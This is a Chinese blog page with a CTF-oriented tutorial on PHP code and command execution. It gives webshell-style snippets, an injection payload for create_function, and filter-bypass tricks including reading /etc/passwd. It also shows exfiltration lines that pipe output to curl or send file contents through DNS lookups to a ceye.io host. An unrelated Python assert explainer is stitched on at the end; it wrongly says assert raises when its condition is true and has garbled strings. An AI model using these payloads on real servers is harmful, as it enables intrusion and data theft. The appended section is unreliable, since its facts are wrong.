assert 之后 不执行_聊一聊代码、命令执行

本文探讨了PHP中的代码执行,包括eval、assert、call_user_func等方法的使用及示例,以及命令执行的相关概念、常见函数如system、exec等。还介绍了多种绕过策略,如分隔符、空格、敏感字符绕过,并提到了无回显情况下的解决方案。最后,文章提到命令执行长度限制和无字母数字命令执行的技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

谁让我写不出鲨鱼大佬那种内网的文章,只好写写这种基础文章来划划水喽....

726d68bdc676b6475670921c5686bdaf.png

代码执行

代码执行概念

远程代码执行实际上是调用服务器网站代码进行执行。

常见执行方法

eval

eval():将字符串当做函数进行执行(需要传入一个完整的语句)

demo:

<?php eval('echo "hello";');?>

执行后就会输出一个hello

assert

assert():判断是否为字符串,是则当成代码执行

demo:

低版本:

<?php assert($_POST['a']);?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

7.0之后的demo

<?php $a = 'assert';$a(phpinfo());?>

call_user_func

call_user_func():回调函数,可以使用is_callable查看是否可以进行调用

demo:

<?php highlight_file(__FILE__);$a = 'system';$b = 'pwd';call_user_func($a,$b);call_user_func('eval','phpinfo()');?>

其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval...

call_user_fuc_array

call_user_fuc_array():回调函数,参数为数组

demo:

<?php highlight_file(__FILE__);$array[0] = $_POST['a'];call_user_func_array("assert",$array); ?>

create_function

create_function():创建匿名函数

string create_function(string $args,string $code)

args是要创建的函数的参数,code是函数内的代码

demo:

<?php highlight_file(__FILE__);$a = create_function('$code', 'echo $code');$b = 'hello';$a($b);$a = 'phpinfo();';$b = create_function(" ", $a);$b();?>

preg_replace

preg_replace():当为/e时代码会执行,前提是不超过php7

demo:

<?php highlight_file(__FILE__);$a = 'phpinfo()';$b = preg_replace("/abc/e", $a, 'abc');?>

array_map

array_map():为数组的每个元素应用回调函数

demo:

<?php highlight_file(__FILE__);$a = $_GET['a'];$b = $_GET['b'];$array[0] = $b;$c = array_map($a,$array);?>

用法:/?a=assert&b=phpinfo();

array_filter

array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

demo:

<?php highlight_file(__FILE__);$array[0] = $_GET['a'];array_filter($array,'assert');?>

usort

usort():使用自定义函数对数组进行排序

demo:

<?php highlight_file(__FILE__);usort(...$_GET);#usort($_GET[1],'assert');?>

...$GET是php5.6引入的新特性。即将数组展开成参数的形式

用法:

1[]=phpinfo()&1[]=123&2[]=assert

大致过程:

大概过程就是,GET变量被展开成两个参数['phpinfo', '123']和assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();

uasort

uasort():使用用户自定义的比较函数对数组的值进行排序并保持索引关联

demo:

<?php highlight_file(__FILE__);$e = 'assert';$arr = array($_REQUEST['pass'],'test' );uasort($arr, $e);?>

${}

${}:中间的php代码将会被解析

demo:

<?php highlight_file(__FILE__);${phpinfo()};?>

d0050c02714c91e042fb8d4b273506b1.png

代码执行例题

题目:

<?php highlight_file(__FILE__);$price = $_GET['price'];$code = 'echo $name.'.'的价格是'.$price.';';$b = create_function('$name', $code);$b('iphone');?>

代码逻辑很清楚,调用b这个匿名函数,参数为iphone。

在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:

function b($name){ echo $name.'.'的价格是'.$price;}

所以最后构造payload为:123;}phpinfo();/*

那么传入后代码就会变成下面这样

function b($name){ echo $name.     }phpinfo();/*'.'的价格是'.$price;}

命令执行

命令执行概念

通过易受攻击的应用在主机上执行任意命令。

命令执行常见函数

system

system:可以执行系统命令并将其输出

demo:

<?php highlight_file(__FILE__);system('pwd');system('whoami');?>

exec

exec:执行命令,但无输出,可以使用output进行输出

demo:

<?php highlight_file(__FILE__);exec('pwd',$b);var_dump($b);?>

passthru

passthru:执行命令并输出

demo:

<?php highlight_file(__FILE__);passthru('ls');?>

shell_exec

shell_exec:执行命令,但无回显

demo:

<?php highlight_file(__FILE__);var_dump(shell_exec('ls'));?>

反引号

反引号:执行shell命令,并返回输出的字符串

demo:

<?php highlight_file(__FILE__);$a = 'pwd';echo `$a`;?>

ob_start

ob_start:打开输出控制缓冲

demo:

<?php highlight_file(__FILE__);ob_start("system");echo "whoami";ob_end_flush();?>

绕过

262be1cffca728cebd07b6c61e5a5aed.png

常见分隔符

•换行符 %0a•回车符 %0d•连续指令 ;•后台进程 &•管道符 |•逻辑 || &&

绕过空格

•$IFS•<•${IFS}•$IFS$9•%09

各类符号

即使用”substr string pos len“的方法进行取字符

demo:

echo "${PATH:0:1}"echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

•%0a•%0d•%00•%20

敏感字符绕过

变量绕过

a=l,b=s;$a$b

base64编码绕过

echo 'cat' | base64

未定义的初始化变量

cat$b /etc/passwd

连接符

cat /etc/pass’w’d

使用通配符:

如:

/???/?s --help

题目地址:http://moectf.cn:10012/

payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);

无回显

150e3dbc38b8d39526cbac7fc2532c90.png

1、使用延时函数,比如:ls|sleep 3 2、使用http,比如:ls|curl ip:port 3、使用dns

demo:

<?php highlight_file(__FILE__);include("where_flag.php");echo "ping";$ip = (string)$_GET['ping'];$ip = str_replace(">", "0.0", $ip);shell_exec("ping".$ip);?>

思路1:使用cp命令将where_flag.php改名,然后下载得到flag

如:127.0.0.1;cp where_is_flag.php 1.txt

思路二:dnslog外带

因为dnslog不能带有空格,所以使用sed去空格

最后的payload:

/?ping=cat where_flag.php|sed s/[[:space:]]//.php.xxxx.ceye.io

因为ceye无法处理换行,所以我们可以使用下面的方法处理换行问题

ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.xxx.ceye.io;done;

注意:只能在curl下有效

长度绕过

如15位命令执行、7位命令执行、5位命令执行、4位命令执行

具体参考:https://xz.aliyun.com/t/1579

无字母数字命令执行(webshell)

1、异或

因为每个字符的本质是ascii码值,而ascii可以变成二进制,二进制进行xor后再转换,就是字母

2、取反

其实同理,将字符转换为二进制后取反

3、自增

具体可查看:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html https://www.php.net/manual/zh/language.operators.increment.php

f24989e9b4ff0a2297038ff79f76b115.png

写在后面

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽

1d825c26054b50a9d9d9b9d6d9e050db.png

### Python `assert` 语句详解 #### 断言语句的基础结构 在Python编程中,`assert` 是种用于调试目的的关键字。其基本语法为: ```python assert condition, "Optional error message" ``` 这里,`condition` 表达式会被求值;如果它为真,则触发 `AssertionError` 异常并可选附带条消息[^1]。 #### 使用场景举例 下面的例子展示了如何利用 `assert` 来验证输入参数的有效性: ```python def divide(a, b): assert b != 0, "除数能为零" # 如果b等于0则抛出错误 return a / b ``` 这段代码确保了分母是零的情况发生前就阻止了潜在的运行时错误[^4]。 #### 性能考虑下的行为变化 值得注意的是,在启用优化模式下(即通过 `-O` 参数启动脚本),所有包含 `assert` 的检查都会被忽略掉,这有助于提升最终部署版本的应用性能[^2]。 #### 实际应用案例 假设有个函数用来计算两个正整数之和,并希望确保传入的确实是正值: ```python def add_positive_numbers(x, y): """仅当x和y都是大于零的时候才返回它们相加的结果""" assert isinstance(x, int), "第个参数必须是整型数值" assert isinstance(y, int), "第二个参数必须是整型数值" assert x > 0 and y > 0, "两者的值都应该是正数" result = x + y print(f"{x} 加上 {y} 得到的结果是: ", end="") return result print(add_positive_numbers(5, 7)) try: print(add_positive_numbers(-3, 8)) # 这里会引发 AssertionError 错误 except AssertionError as e: print(e) ``` 上述示例仅检验了数据类型的正确性还确认了业务逻辑上的约束条件——只处理正整数之间的运算操作[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值